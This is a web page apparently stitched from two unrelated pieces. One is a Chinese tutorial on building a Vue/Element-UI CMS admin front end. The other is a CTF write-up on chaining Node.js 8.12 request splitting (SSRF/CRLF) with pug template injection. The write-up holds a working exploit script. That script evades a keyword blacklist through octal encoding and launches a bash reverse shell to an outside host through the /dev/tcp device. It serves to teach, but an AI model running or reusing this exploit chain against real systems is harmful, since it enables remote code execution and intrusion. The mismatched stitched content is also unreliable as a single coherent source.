整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          web全棧:java微服務+vue+elemUI開發

          web全棧:java微服務+vue+elemUI開發CMS1

          .vue前端搭建項目

          1.1vue.js安裝

          vue

          Vue官網:https://cn.vuejs.org/

          教程入口:https://cn.vuejs.org/v2/guide/

          1.2node.js安裝

          node

          node官網:http://nodejs.cn/api/

          1.3vue CLI安裝

          官網:https://cli.vuejs.org/zh/guide/cli-service.html

          Vue CLI 的包名稱由 vue-cli 改成了 @vue/cli。 如果你已經全局安裝了舊版本的 vue-cli(1.x 或 2.x),你需要先通過 npm uninstall vue-cli -gyarn global remove vue-cli 卸載它。


          vue-cli

          1.4編譯器idea更新控制臺terminal的輸出為git


          idea-配置gitee


          gitee源碼開放:https://gitee.com/cevent_OS/yameng-cevent-source-cloudcenter.git

          2.查看node、vue、vue/cli版本

          asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master)

          $ npm -v 查看node版本

          6.13.4

          asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master)

          $ vue --version 查看當前vue版本

          2.9.6

          asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master)

          $ npm install -g @vue/cli 安裝/升級vue-cli最新版

          npm WARN deprecated @hapi/joi@15.1.1: joi is leaving the @hapi organization and moving back to 'joi' (https://github.com/sideway/joi/issues/2411)

          npm WARN deprecated request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142

          npm WARN deprecated @hapi/topo@3.1.6: This version has been deprecated and is no longer supported or maintained

          npm WARN deprecated @hapi/bourne@1.3.2: This version has been deprecated and is no longer supported or maintained

          npm WARN deprecated @hapi/hoek@8.5.1: This version has been deprecated and is no longer supported or maintained

          npm WARN deprecated @hapi/address@2.1.4: This version has been deprecated and is no longer supported or maintained


          vue-cli升級失敗

          npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@1.2.13: wanted {"os":"darwin","arch":"any"} (current: {"os":"win32","arch":"x64"})


          npm ERR! code EEXIST

          npm ERR! path C:\Users\asus\AppData\Roaming\npm\node_modules\@vue\cli\bin\vue.js

          npm ERR! dest C:\Users\asus\AppData\Roaming\npm\vue

          npm ERR! EEXIST: file already exists, cmd shim 'C:\Users\asus\AppData\Roaming\npm\node_modules\@vue\cli\bin\vue.js' -> 'C:\Users\asus\AppData\Roaming\npm\vue'

          npm ERR! File exists: C:\Users\asus\AppData\Roaming\npm\vue

          npm ERR! Remove the existing file and try again, or run npm

          npm ERR! with --force to overwrite files recklessly.


          npm ERR! A complete log of this run can be found in:

          npm ERR! C:\Users\asus\AppData\Roaming\npm-cache\_logs20-07-19T13_45_04_918Z-debug.log

          $ vue create admin 創建vue項目,必須升級vue-cli 3.0以上


          vue create is a Vue CLI 3 only command and you are using Vue CLI 2.9.6.

          You may want to run the following to upgrade to Vue CLI 3:


          npm uninstall -g vue-cli

          npm install -g @vue/cli


          $ npm uninstall -g vue-cli 卸載vue-cli

          removed 241 packages in 3.064s

          $ npm install -g @vue/cli 安裝升級@vue/cli

          asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master)

          $ vue --version

          @vue/cli 4.4.6 升級完成


          3.創建后臺cms-admin前端項目

          asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-cevent-source-cloudcenter/cevent-source-cloudcenter (master)

          $ vue create cevent-ymcms-admin


          Vue CLI v4.4.6

          ┌─────────────────────────────────────────────┐

          │ │

          │ New version available 4.4.6 → 4.5.11 │

          │ Run yarn global add @vue/cli to update! │

          │ │

          └─────────────────────────────────────────────┘


          ? Please pick a preset: default (babel, eslint)

          Vue CLI v4.4.6

          ? Creating project in D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-cevent-source-cloudcenter\cevent-source-cloudcenter\cevent-ymcms-admin.

          ?? Installing CLI plugins. This might take a while...

          > yorkie@2.0.0 install D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-cevent-source-cloudcenter\cevent-source-cloudcenter\cevent-ymcms-admin\node_modules\yorkie

          > node bin/install.js

          setting up Git hooks

          ...

          ? Running completion hooks...

          ? Generating README.md...

          ? Successfully created project cevent-ymcms-admin.

          ? Get started with the following commands:


          $ cd cevent-ymcms-admin

          $ npm run serve


          asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-cevent-source-cloudcenter/cevent-source-cloudcenter (master)

          $ cd cevent-ymcms-admin/


          asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-cevent-source-cloudcenter/cevent-source-cloudcenter/cevent-ymcms-admin (master)

          $ npm run serve


          > cevent-ymcms-admin@0.1.0 serve D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-cevent-source-cloudcenter\cevent-source-cloudcenter\cevent-ymcms-admin

          > vue-cli-service serve

          INFO Starting development server...

          98% after emitting CopyPlugin

          DONE Compiled successfully in 2896ms 21:49:14

          App running at:

          - Local: http://localhost:8080/

          - Network: http://192.168.3.4:8080/



          idea項目


          vue啟動


          4.引入element-UI框架

          asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse (master)

          $ cd web-client/

          asus@LAPTOP-CQRDCFKL MINGW64 /d/DEV_CODE/Intelligy_idead_code/spring/springcloud/yameng-webcourse/web-client (master)

          $ npm install element-ui -S 安裝

          npm WARN deprecated core-js@2.6.12: core-js@<3 is no longer maintained and not recommended for usage due to the number of issues. Please, upgrade your dependencies to the actual version of core-js@3.

          >

          core-js@2.6.12 postinstall D:\DEV_CODE\Intelligy_idead_code\spring\springcloud\yameng-webcourse\web-client\node_modules\babel-runtime\node_modules\core-js


          The project needs your help! Please consider supporting of core-js on Open Collective or Patreon:

          > https://opencollective.com/core-js

          > https://www.patreon.com/zloirock


          + element-ui@2.15.1

          added 9 packages from 8 contributors in 11.703s


          49 packages are looking for funding

          run `npm fund` for details


          5.main.js引入element-UI


          element-ui

          6.構建登錄頁面

          6.1引入bootstrap柵格系統

          列數column=12

          超小屏幕 手機 (<768px)

          小屏幕 平板

          (≥768px)

          中等屏幕 桌面顯示器 (≥992px)

          大屏幕 大桌面顯示器 (≥1200px)

          柵格系統行為

          總是水平排列

          開始是堆疊在一起的,當大于這些閾值時將變為水平排列

          .container 最大寬度

          None (自動)

          750px

          970px

          1170px

          類前綴

          .col-xs-

          .col-sm-

          .col-md-

          .col-lg-

          最大列(column)寬

          自動

          ~62px

          ~81px

          ~97px

          槽(gutter)寬

          30px (每列左右均有 15px)

          偏移(Offsets)

          使用 .col-md-offset-* 類可以將列向右側偏移(間隔)

          6.2eslint語法規則

          * "off" 或 0 - 關閉規則

          * "warn" 或 1 - 開啟規則,使用警告級別的錯誤:warn (不會導致程序退出)

          * "error" 或 2 - 開啟規則,使用錯誤級別的錯誤:error (當被觸發的時候,程序會退出)

          "no-alert"

          禁止使用alert confirm prompt

          "no-array-constructor"

          禁止使用數組構造器

          "no-bitwise"

          禁止使用按位運算符

          取消檢測在.eslintrc.js中申明off,或在package.json中關閉0


          eslint

          6.3引用第三方js特效


          js特效


          html引入


          vue組件引入


          效果圖

          7.Components-LoginComp.vue頁面展現內容

          <template>
              <div class="admin-login container">
                  <el-menu  class="elMenu el-menu-demo" mode="horizontal" background-color="#021126" text-color="#14ddaa">
                      <span class="elMenuText" >企業ERP、CMS、CRM、OA多功能融合SpringCloud微服務系統</span>
                  </el-menu>
          
                  <div class="row center-block ">
                      <div class="login-block col-xs-10 col-xs-offset-1 col-sm-10 col-sm-offset-1 col-md-10 col-md-offset-1 col-lg-10 col-lg-offset-1">
                          <h1 class="logo-title"><img src="../../public/imgs/yameng-logo-1.png" alt="logo" class="logo-set ">亞盟CMS后臺登錄
                          </h1>
                          <div class="login-box jumbotron">
                              <div class="login-box-header">
                                  <h2 class="header-title">一站式ERP電商管理系統</h2>
                              </div>
                              <div class="login-input">
                                  <div class="inputArea">
                                      <div class="input-group input-group-lg">
                                          <span class="input-group-addon">賬號</span>
                                          <input id="loginName" type="text" class="inputSpan form-control" placeholder="請輸入用戶名"
                                                 aria-describedby="sizing-addon1">
                                          <span class="inputTag glyphicon glyphicon-user form-control-feedback text-primary"
                                                aria-hidden="true"></span>
                                          <div class="input1-show input-group-addon"></div>
                                      </div>
                                      <div class="input-group input-group-lg">
                                          <span class="input-group-addon ">密碼</span>
                                          <input id="loginPWD" type="password" class="inputSpan form-control" placeholder="請輸入密碼"
                                                 aria-describedby="sizing-addon1">
                                          <span class="inputTag glyphicon glyphicon-lock form-control-feedback text-primary"
                                                aria-hidden="true"></span>
                                          <div class="input2-show input-group-addon"></div>
                                      </div>
                                  </div>
          
                                  <el-checkbox class="rememberBox" v-model="remember" label="記住賬號·密碼" border></el-checkbox>
          
                                  <el-button class="loginBtn" type="primary">登錄<i class="el-icon-s-promotion el-icon--right "></i>
                                  </el-button>
          
                              </div>
          
                          </div>
          
                      </div>
                      <div class="line"></div>
                      <div class="loginFooter">
                          <div class="loginBottom">
          
                              <el-menu  class="elMenu el-menu-demo" mode="horizontal" background-color="#021126" text-color="#14ddaa">
                                  <span class="elMenuText" >Technology By @Cevent 2021</span>
                                  <div>
                                      <img class="bottom-logo" src="../../public/imgs/yameng-logo-1.png">
                                  </div>
                              </el-menu>
                          </div>
                      </div>
                  </div>
          
              </div>
          </template>
          
          <script>
              //import "../../public/base/js/login/three.min.js";
              //import "../../public/base/js/login/TweenMax.min.js";
              //import "../../public/base/js/login/loginBG.js";
              export default {
                  name: 'LoginComp',
                  props: {
                      msg: String
                  },
                  data() {
                      return {
                          message: '這里是登錄頁面',
                          input: '',
                          remember: true,
          
                      }
                  },
                  methods: {},
              }
          </script>
          
          <style scoped>
          
              .admin-login {
                  position: absolute;
                  width: 100%;
                  height: 100%;
                  margin: 0;
                  padding: 0;
                  background: url("../../public/imgs/BG-WALL.png");
                  background-size: 100% 100%;
                  overflow: hidden;
              }
          
              .logo-set {
                  width: 40px;
                  margin-right: 5px;
                  margin-bottom: 6px;
              }
          
              .login-block {
                  position: relative;
                  margin-top: 5%;
                  margin-bottom: 10%;
                  border: 2px solid white;
                  border-radius: 5px;
                  box-shadow: 2px 2px 5px steelblue;
                  color: white;
                  background: url("../../public/imgs/BG-WALL.png");
              }
          
              .logo-title {
                  display: block;
                  font-size: 24px;
              }
          
              .inputArea {
                  float: left;
              }
          
              .login-box {
                  margin-top: 10px;
                  margin-left: auto;
                  margin-right: auto;
                  margin-bottom: 10%;
                  padding: 5px;
                  max-width: 600px;
              }
          
              .login-input {
                  position: relative;
                  margin: 5px;
          
              }
          
              .header-title {
                  color: steelblue;
                  font-weight: bolder;
                  text-shadow: 0px 1px 0px #ffffff, 0px 2px 0px #e2d6d6, 0px 3px 0px #e2d6d6, 0px 4px 0px #e2d6d6, 0px 7px 0px #fff3cd, 0px 8px 7px #ffffff;
              }
          
              .inputSpan {
                  max-width: 500px;
              }
          
              .inputTag {
                  margin-top: 5px;
              }
          
              .rememberBox {
                  position: relative;
                  margin-top: 10px;
                  margin-left: 30%;
                  margin-bottom: 10px;
                  float: left;
                  color: steelblue;
              }
          
              .loginBtn {
                  margin-top: 10px;
                  background: steelblue;
                  border: 2px solid white;
              }
              .loginFooter{
                  position: absolute;
                  width: 100%;
                  bottom: 0;
              }
              .loginBottom {
                  position: relative;
                  background: steelblue;
          
              }
          
              .elMenu{
                  text-align: center;
              }
              .elMenu .elMenuText{
                  display: block;
                  font-size: 20px;
                  margin: 20px auto;
                  color: white;
              }
          
              .bottom-logo {
                  position: relative;
                  width: 50px;
                  margin-bottom: 10px;
              }
          </style>

          8.登錄頁面效果圖


          login登錄頁


          響應式

          9.admin管理頁面首頁顯示

          引入elementUI分欄柵格布局

          參數

          說明

          類型

          默認值

          span

          柵格占據的列數

          number

          24

          offset

          柵格左側的間隔格數

          number

          0

          push

          柵格向右移動格數

          number

          0

          pull

          柵格向左移動格數

          number

          0

          :xs

          <768px 響應式柵格數或者柵格屬性對象

          number/object (例如: {span: 4, offset: 4})


          :sm

          ≥768px 響應式柵格數或者柵格屬性對象

          number/object (例如: {span: 4, offset: 4})


          :md

          ≥992px 響應式柵格數或者柵格屬性對象

          number/object (例如: {span: 4, offset: 4})


          :lg

          ≥1200px 響應式柵格數或者柵格屬性對象

          number/object (例如: {span: 4, offset: 4})


          :xl

          ≥1920px 響應式柵格數或者柵格屬性對象

          number/object (例如: {span: 4, offset: 4})


          gutter

          柵格間隔

          number

          0

          justify

          flex 布局下的水平排列方式

          String

          start/end/center/space-around/space-between

          Start

          align

          flex 布局下的垂直排列方式

          String

          top/middle/bottom

          top

          10.admin.vue修改頁面樣式,改裝elementUI

          <template>
              <div class="">
                  <div class="admin-nav">
                      <el-menu
                              :default-active="activeIndex2"
                              class="navTopElMenu el-menu"
                              mode="horizontal"
                              @select="handleSelect"
                              text-color="#fff"
                      >
          
                          <el-menu-item class="navBarLogoBlock">
                              <img class="navbarLogo" src="../../public/imgs/site-logo300-1.png" alt="">
                              <span class="logoTitle">亞盟微服務管理控臺</span>
                          </el-menu-item>
                          <div class="navTopRight">
                              <el-dropdown class="navTopItem">
                                  <img class="loginIcon el-dropdown-link" :src="url">
                                  <el-dropdown-menu slot="dropdown">
                                      <el-dropdown-item>
                                          <li class="privilege el-icon-trophy"></li>
                                          <span class="privilegeTitle">您在系統擁有 4 項特權</span>
                                      </el-dropdown-item>
                                      <el-dropdown-item>
                                          <li class="privilege el-icon-bank-card"></li>
                                          賬號余額
                                      </el-dropdown-item>
                                      <el-dropdown-item>
                                          <li class="privilege el-icon-postcard"></li>
                                          積分
                                      </el-dropdown-item>
                                      <el-dropdown-item disabled>
                                          <li class="privilege el-icon-s-flag"></li>
                                          平臺認證
                                      </el-dropdown-item>
                                      <el-dropdown-item>
                                          <li class="sets el-icon-s-tools"></li>
                                          <span class="setsSpan">設置</span>
                                      </el-dropdown-item>
                                      <router-link to="/login">
                                          <el-dropdown-item>
                                              <li class="sets el-icon-s-unfold"></li>
                                              <span class="setsSpan">退出登錄</span>
                                          </el-dropdown-item>
                                      </router-link>
          
                                  </el-dropdown-menu>
                              </el-dropdown>
          
                              <div class="navTopItem">
                                  <li class="el-icon-paperclip"></li>
                                  <span class="loginInfo">歡迎 cevent 登錄</span>
                              </div>
          
                              <el-dropdown class="navTopItem">
                                  <div class="topMsg">
                                      <li class="el-icon-message-solid"></li>
                                      <el-divider direction="vertical"></el-divider>
                                      <span class=" el-dropdown-link">
                                      消息中心
                                      </span>
                                      <el-badge :value="12" class="item">
                                      </el-badge>
                                  </div>
          
                                  <el-dropdown-menu slot="dropdown">
                                      <el-dropdown-item>消息通知
                                          <el-badge :value="2" class="item">
                                          </el-badge>
                                      </el-dropdown-item>
                                      <el-dropdown-item>產品評論
                                          <el-badge :value="4" class="item">
                                          </el-badge>
                                      </el-dropdown-item>
                                      <el-dropdown-item>客戶回復
                                          <el-badge :value="9" class="item">
                                          </el-badge>
                                      </el-dropdown-item>
                                      <el-dropdown-item disabled>問題邀請
                                          <el-badge :value="1" class="item">
                                          </el-badge>
                                      </el-dropdown-item>
                                  </el-dropdown-menu>
                              </el-dropdown>
          
                          </div>
                      </el-menu>
                      <!--<div class="breadNav"></div>-->
                  </div>
                  <div class="admin-nav-content">
                      <div class="admin-nav-left">
                          <el-row class="tac">
                              <el-col :xs="9" :sm="6" :md="5" :lg="4">
                                  <!--default-openeds="['1-1','2-1','3-1','4-1']"-->
                                  <el-menu default-active="0-1"
                                           class="navLeftMenu el-menu-vertical"
                                           @open="handleOpen"
                                           @close="handleClose"
                                           :collapse="isCollapse"
                                  >
                                      <div class="">
                                          <el-submenu class="navLeftItem " index="0">
                                              <div class="navLeftItemTitle" slot="title">
                                                  <i class="leftIcon el-icon-s-data"></i>
                                                  <span slot="title">數據中心</span>
                                              </div>
                                              <div class="leftItem">
                                                  <el-menu-item class="navLeftItemTitle menuItem active"
                                                                index="0-1">
                                                      <div class="gutterItem"></div>
                                                      站點數據
                                                  </el-menu-item>
                                                  <el-menu-item  class="navLeftItemTitle menuItem"
                                                                 index="0-2">
                                                      <div class="gutterItem"></div>
                                                      詢盤數據
                                                  </el-menu-item>
                                                  <el-menu-item  class="navLeftItemTitle menuItem "
                                                                 index="0-3">
                                                      <div class="gutterItem"></div>
                                                      客戶數據
                                                  </el-menu-item>
                                              </div>
                                          </el-submenu>
                                          <el-submenu class="navLeftItem " index="1">
                                              <div class="navLeftItemTitle" slot="title">
                                                  <i class="leftIcon el-icon-s-tools"></i>
                                                  <span slot="title">系統管理</span>
                                              </div>
                                              <div class="leftItem">
                                                  <el-menu-item class="navLeftItemTitle menuItem active"
                                                                index="1-1">
                                                      <div class="gutterItem"></div>
                                                      角色管理
                                                  </el-menu-item>
                                                  <el-menu-item  class="navLeftItemTitle menuItem"
                                                                index="1-2">
                                                      <div class="gutterItem"></div>
                                                      權限管理
                                                  </el-menu-item>
                                                  <el-menu-item  class="navLeftItemTitle menuItem "
                                                                index="1-3">
                                                      <div class="gutterItem"></div>
                                                      員工管理
                                                  </el-menu-item>
                                                  <el-menu-item  class="navLeftItemTitle menuItem "
                                                                 index="1-3">
                                                      <div class="gutterItem"></div>
                                                      會員信息
                                                  </el-menu-item>
                                              </div>
                                          </el-submenu>
                                       
                                      </div>
          
          
                                  </el-menu>
                              </el-col>
                              <el-col :xs="15" :sm="18" :md="19" :lg="20">
                                  <div class="breadNav">
                                      <el-breadcrumb class="breadNavBlock" separator-class="el-icon-arrow-right">
                                          <el-breadcrumb-item :to="{ path: '/' }">首頁</el-breadcrumb-item>
                                          <el-breadcrumb-item>數據中心</el-breadcrumb-item>
                                          <el-breadcrumb-item>站點數據</el-breadcrumb-item>
                                      </el-breadcrumb>
                                  </div>
                                  <router-view></router-view>
                              </el-col>
                          </el-row>
                      </div>
                  </div>
          
              </div>
          
          </template>
          
          <script>
              export default {
                  name: "Admin",
                  data() {
                      return {
                          message: '這里是登錄頁首頁',
                          activeIndex: '1',
                          activeIndex2: '1',
                          url: "/imgs/logo300-1.png",
                          isCollapse: false,
                          opensNav:[]
                      }
                  },
                  mounted() {
                      /*
                      jQuery查看頁面元素使用:這里的jq版本不行,先用原生js
                      添加class:$("標簽名").attr("className","class值")
                      刪除class: $("標簽名").removeClass("className")
                       */
                      console.log("進入后臺管理頁面,獲取el-menu-item");
                      let elMenuItem=document.getElementsByClassName("el-menu-item");
                      for(let i=0;i<elMenuItem.length;i++){
                          elMenuItem[i].style.paddingLeft="0";
                      }
                  },
                  methods: {
                      handleSelect(key, keyPath) {
                          console.log(key, keyPath);
                      },
                      handleOpen(key, keyPath) {
                          console.log(key, keyPath);
                      },
                      handleClose(key, keyPath) {
                          console.log(key, keyPath);
                      }
                  }
              }
          </script>

          11.頁面效果


          admin


          admin導航


          header頭部導航

          創L's合天智匯

          前言

          nodejs 8.12.0版本的請求拆分攻擊(感覺現在叫http走私要好一點2333),pug模板的注入導致rce

          0x01 首頁

          當我們訪問http://web2.ctf.nullcon.net:8081/后會顯示下面的頁面。

          由于上面沒有什么特點,url參數,交互框等,因此我們查看源代碼看看有沒有什么提示。

          通過源碼(F12查看的)我們可以看到它在頁面加載js代碼完成后發送了個ajax請求:

          var xhttp=new XMLHttpRequest();
          xhttp.onreadystatechange=function() {
              if (this.readyState==4 && this.status==200) {
                 document.getElementById("search").innerHTML=xhttp.responseText;
              }
          };
          xhttp.open("GET", "/core?q=1", true);
          xhttp.send();

          我使用get請求發送/core?q=1,但是結果跟上面的首頁是一樣的只有一個動圖,這時你可能會想會不會是sql注入,服務器端注入等,但是經過一系列的反恐嘗試之沒有什么用。

          但是在我們查看源代碼的時候還給了個提示<!-- /source -->通過訪問/source可以獲取題目源碼。

          //node 8.12.0
          var express=require('express');
          var app=express();
          var fs=require('fs');
          var path=require('path');
          var http=require('http');
          var pug=require('pug');
          
          app.get('/', function(req, res) {
              res.sendFile(path.join(__dirname + '/index.html'));
          });
          app.get('/source', function(req, res) {
              res.sendFile(path.join(__dirname + '/source.html'));
          });
          app.get('/getMeme',function(req,res){
              res.send('<iframe src="https://giphy.com/embed/LLHkw7UnvY3Kw" width="480" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe><p><a href="https://giphy.com/gifs/kid-dances-jumbotron-LLHkw7UnvY3Kw">via GIPHY</a></p>')
          });
          app.get('/flag', function(req, res) {
              var ip=req.connection.remoteAddress;
              if (ip.includes('127.0.0.1')) {
                  var authheader=req.headers['adminauth'];
                  var pug2=decodeURI(req.headers['pug']);
                  var x=pug2.match(/[a-z]/g);
                  if(!x){
                      if (authheader==="secretpassword") {
                          var html=pug.render(pug2);
                      }
                  }
                  else{
                      res.send("No characters");
                  }
              }
              else{
                  res.send("You need to come from localhost");
              }
          });
          app.get('/core', function(req, res) {
              var q=req.query.q;
              var resp="";
              if (q) {
                  var url='http://localhost:8081/getMeme?' + q
                  console.log(url)
                  var trigger=blacklist(url);
                  if (trigger===true) {
                      res.send("<p>Errrrr, You have been Blocked</p>");
                  } else {
                      try {
                          http.get(url, function(resp) {
                              resp.setEncoding('utf8');
                              ...省略...
                          });
                      } catch (error) {
                          console.log(error);
                      }
                  }
              } else {
                  res.send("search param 'q' missing!");
              }
          })
          
          function blacklist(url) {
              var evilwords=["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
              var arrayLen=evilwords.length;
              for (var i=0; i < arrayLen; i++) {
                  const trigger=url.includes(evilwords[i]);
                  if (trigger===true) {
                      return true
                  }
              }
          }
          ...省略...

          0x02 代碼分析

          通過閱讀上面的代碼,我們可以看到node的版本是8.12.0,服務器端使用的框架是express,使用nodejs自帶的http包發送某些請求,服務端使用pug作為渲染模板(原理加jade)。

          在沒有發現漏洞之前,先梳理一下代碼的流程:

          1./:

          使用sendFile來讀取index.html頁面并且渲染該頁面,通過前面我們知道該頁面有提示的內容。

          2./source:

          該頁面返回了服務器端的全部代碼。

          3./getMeme:

          該頁面沒有什么用就是返回了一個iframe框架,其中是個動圖。

          4./flag:

          這里驗證遠程地址包含127.0.0.1,adminauth===secretpassword,headers頭中必須包含pug字段并且其值不能包含小寫字母,最后會用pug引擎渲染pug,但是這里在渲染容易受到服務器端注入攻擊https://zhuanlan.zhihu.com/p/28823933,由此我們可以斷定前面需要用SSRF結合CRLF來繞過,不由聯想到node的版本號,因為該版本存在request splitting漏洞。

          復制鏈接做實驗啦

          Flask服務端模板注入漏洞:

          實驗:Flask服務端模板注入漏洞(合天網安實驗室)

          pug模板注入示例:

          const pug=require('pug');
          
          pug.render('#{console.log("1")}');
          pug.render('-console.log(1)');

          結果如下:

          1
          1
          1

          對于pug模板的相關知識可以參考如下鏈接:

          https://pugjs.org/language/interpolation.html

          通過動態的調試我們可以看到代碼的拼接過程:

          var runtime=require('./');
          
          module.exports=wrap;
          // 利用js的Function來定義一個函數,pug是參數,后面是函數的定義
          function wrap(template, templateName) {
            templateName=templateName || 'template';
            return Function('pug',
              template + '\n' +
              'return ' + templateName + ';'
            )(runtime);
          }

          到:

          (function anonymous(pug
          ) {
          
          function template(locals) {var pug_html="", pug_mixins={}, pug_interp;var pug_debug_filename, pug_debug_line;try {;var locals_for_with=(locals || {});(function (console) {;pug_debug_line=1;
          pug_html=pug_html + "\u003C" + (console.log("1")) + "\u003E\u003C\u002F" + (console.log("1")) + "\u003E";}.call(this,"console" in locals_for_with?locals_for_with.console:typeof console!=="undefined"?console:undefined));} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
          return template;
          })

          上面的這段代碼中的template函數就是通過Function來構造的,代碼拼接進去的部分就是\u003C后面的console.log("1")和\u003E前面的console.log("1"),拼接了兩個console.log("1")這就是,然后在函數運行的時候就會執行console.log("1")。

          我們可以看到代碼拼接進去了,結合上面兩段代碼簡化一下就是:

          const t=Function('pug','function template(locals) {(console.log(locals))}'+'\n' +
              'return ' + 'template' + ';');
          t()("1");

          request splitting漏洞代碼示例:

          const http=require('http')
          
          const server=http.createServer((req, res)=> {
            console.log(req.url);
            res.end();
          });
          
          server.listen(8000, function() {
            http.get('http://192.168.220.157:8000/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:8000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private', function() {
            });
          });

          結果如下:

          listening on [any] 8000 ...
          192.168.220.1: inverse host lookup failed: Unknown host
          connect to [192.168.220.157] from (UNKNOWN) [192.168.220.1] 65115
          GET /?param=x HTTP/1.1
          Host:%7B %7D127.0.0.1:8000
          
          GET /private HTTP/1.1
          Host: 192.168.220.157:8000
          Connection: close

          由上面的結果可知我們已經成功實現了CRLF注入(上面的顯示:為%7B %7D可能是我kali的問題)。

          接下來我們需要看那里調用了http.get導致SSRF。

          5./core

          這里的q是我們可控的,而且這里使用了http.get來發起請求剛好滿足我們上面的條件,但是構造的url中不能有["global", "process","mainModule","require","root","child_process","exec","\"","'","!"]字符串,我們可以對代碼進行jsfuck加密繞過,但是由于加密后的代碼太大,請求量會很大,因此一般用js的匿名函數來繞過,且字母我們可以用8進制,16進制來代替,例如:

          []['map']['constructor']('alert(1)')();
          []['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')();
          []['\x6d\x61\x70']['\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72']('\x61\x6c\x65\x72\x74(1)')();

          構造的腳本如下:

          function stringToHex(str,mode=8){
              const splitChar=["\"","\'","`","[","]",";","(",")",".","1","2","3","4","5","6","7","8","9"];
              let result="";
              for(let i=0; i < str.length; i++){
                  if(result===""){
                      const char=str[i];
                      if(splitChar.includes(char)){
                          result=char
                      }else {
                          result=str.charCodeAt(i).toString(mode)
                      }
                  }else{
                      const char=str[i];
                      if(splitChar.includes(char)){
                          result+=char
                      }else {
                          const tmp=str.charCodeAt(i).toString(mode);
                          mode===8?
                              result +="\\" + tmp:
                              result +="\\x" + tmp;
                      }
                  }
              }
              return result;
          }
          console.log(stringToHex("[]['map']['constructor']('alert(1)')();",16));

          上面的原理相當于構造了個new Function("alert(1)")();,由于Object的constructor是指向Function的,示例如下:

          //我們可以使用以下方式創建一個函數:
          new Function("alert(1)");
          //也可以不要new
          Function("alert(1)")()
          //可以將Function轉換下
          "...".substr.constructor("alert(1)")()
          //再轉換下
          "..."["substr"]["constructor"]("alert(1)")()
          //字符串全部轉義
          "..."["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")();

          代碼我們也梳理了一遍,現在我們來看看怎么rce拿到flag。

          0x03 利用過程:

          solve.py

          # coding=UTF-8
          import requests
          from requests.utils import quote
          
          def strTohex(str):
              result=""
              for i in str:
                  if i>='a'and i<='z':
                      result+='\\'+oct(ord(i))[1:]
                  else:
                      result+=i
              return result
          
          # https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/
          
          SPACE=u'\u0120'.encode('utf-8')
          CRLF=u'\u010d\u010a'.encode('utf-8')
          SLASH=u'\u012f'.encode('utf-8')
          cmd='bash -i >& /dev/tcp/192.168.220.157/8888 0>&1'
          payload="process.binding('spawn_sync').spawn({file:'bash',args:['/bin/bash','-c','%s'],envPairs:['y='],stdio:[{type:'pipe',readable:1}]})" % (cmd)
          
          pug=strTohex('''-[]["constructor"]["constructor"]("{}")()'''.format(payload)).replace('"','%22').replace("'","%27")
          # pug=strTohex('''#{[]["constructor"]["constructor"]("%s")()}'''%(payload)).replace('"','%22').replace("'","%27")
          print quote(pug)
          
          payload='sol'+SPACE+'HTTP'+SLASH+'1.1'+CRLF*2+'GET'+SPACE+SLASH+'flag'+SPACE+'HTTP'+SLASH+'1.1'+CRLF+'x-forwarded-for:'+SPACE+'127.0.0.1'+CRLF+'adminauth:'+SPACE+'secretpassword'+CRLF+'pug:'+SPACE+pug+CRLF+'test:'+SPACE
          print payload
          res=requests.get('http://192.168.220.154:8081/core?q='+quote(payload))
          #res=requests.get('http://web2.ctf.nullcon.net:8081/core?q='+requote_uri(payload))
          print res.content

          結果如下:

          0x04 總結

          通過這次的學習,感覺自己還有好多的不足,因此自己還有好多需要去了解的,去學習的。

          參考鏈接

          https://wooyun.js.org/drops/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%A4%A7%E8%A7%84%E6%A8%A1%E6%82%84%E6%97%A0%E5%A3%B0%E6%81%AF%E7%AA%83%E5%8F%96%E6%B7%98%E5%AE%9D.%E6%94%AF%E4%BB%98%E5%AE%9D%E8%B4%A6%E5%8F%B7%E4%B8%8E%E5%AF%86%E7%A0%81%E7%9A%84%E6%BC%8F%E6%B4%9E%20-%EF%BC%88%E5%9F%8B%E9%9B%B7%E5%BC%8F%E6%94%BB%E5%87%BB%E9%99%84%E5%B8%A6%E8%A7%86%E9%A2%91%E6%BC%94%E7%A4%BA%EF%BC%89.html

          https://mengsec.com/2019/06/14/alert1-to-win/

          https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/

          https://zhuanlan.zhihu.com/p/28823933

          https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html

          聲明:筆者初衷用于分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關!

